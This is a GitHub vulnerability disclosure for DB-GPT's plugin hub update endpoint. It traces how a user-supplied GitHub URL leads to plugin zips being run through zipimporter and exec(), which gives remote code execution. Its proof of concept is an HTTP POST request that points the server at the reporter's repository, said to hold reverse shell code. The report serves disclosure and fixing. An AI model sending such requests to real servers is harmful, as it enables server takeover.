-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Description
Description
The /api/v1/agent/hub/update
endpoint is used to update plugins from Github url. Source code of plugins is directly passed to zipimporter.load_module
without any validation. Attackers can exploit it by uploading malicious plugins to github and pass the url to /api/v1/agent/hub/update
. Once the malicious code is executed, attackers will gain control over the DB-GPT server.
Root cause
The /api/v1/agent/hub/update
endpoint gains user input url
, branch
and authorization
to refresh_hub_from_git
at [1].
After downloading the plugins to self. temp_hub_file_path
, it will scan plugins at [2] with scan_plugins
, traverse all the zip files and call scan_plugin_file
for each zip file at [3].
In scan_plugin_file
, it extracts all the __init__.py
from zip file with inspect_zip_for_module
and puts them into moduleList
at [4].
For each __init__.py
in moduleList
, it will load corresponding modules with load_module
of zipimporter
at [5].
And load_module
will load plugins by calling exec()
to execute python byte code at [6].
#packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L62
@router.post("/v1/agent/hub/update", response_model=Result[str])
async def plugin_hub_update(update_param: PluginHubParam = Body()):
…
try:
branch = (
update_param.branch
if update_param.branch is not None and len(update_param.branch) > 0
else "main"
)
authorization = (
update_param.authorization
if update_param.branch is not None and len(update_param.branch) > 0
else None
)
plugin_hub.refresh_hub_from_git(update_param.url, branch, authorization) #-->【1】
# packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py #L227
def refresh_hub_from_git(
self,
github_repo: str = None,
branch_name: str = "main",
authorization: str = None,
):
update_from_git(
self.temp_hub_file_path, github_repo, branch_name, authorization
)
git_plugins = scan_plugins(self.temp_hub_file_path)#-->【2】
# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L126
def scan_plugins(
plugins_file_path: str, file_name: str = "", debug: bool = False
):
for plugin_path in plugins_path.glob("*.zip"):
loaded_plugins.extend(scan_plugin_file(plugin_path)) #-->【3】
# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L78
def scan_plugin_file(file_path, debug: bool = False) -> List["AutoGPTPluginTemplate"]:
"""Scan a plugin file and load the plugins."""
…
if moduleList := inspect_zip_for_modules(str(file_path), debug): #-->【4】
for module in moduleList:
plugin = Path(file_path)
module = Path(module) # type: ignore
logger.debug(f"Plugin: {plugin} Module: {module}")
zipped_package = zipimporter(str(plugin))
zipped_module = zipped_package.load_module( #-->【5】
str(module.parent) # type: ignore
)
#zipimport
def load_module(self, fullname):
code, ispackage, modpath = _get_module_code(self, fullname)
…
try:
…
exec(code, mod.__dict__) #-->【6】
PoC
Reverse shell code is added to DB-GPT-Plugins in my repo.

Then send the package below.
POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54
{
"url":"https://github.com/0gur1/DB-GPT-Plugins"
}
Here is the reproduce video: https://drive.google.com/file/d/1yRp0uZTMdakitkX222M22iREPRFMZACi/view?usp=sharing
Credit
This vulnerability was discovered by Tian Yu from ADLab of VenusTech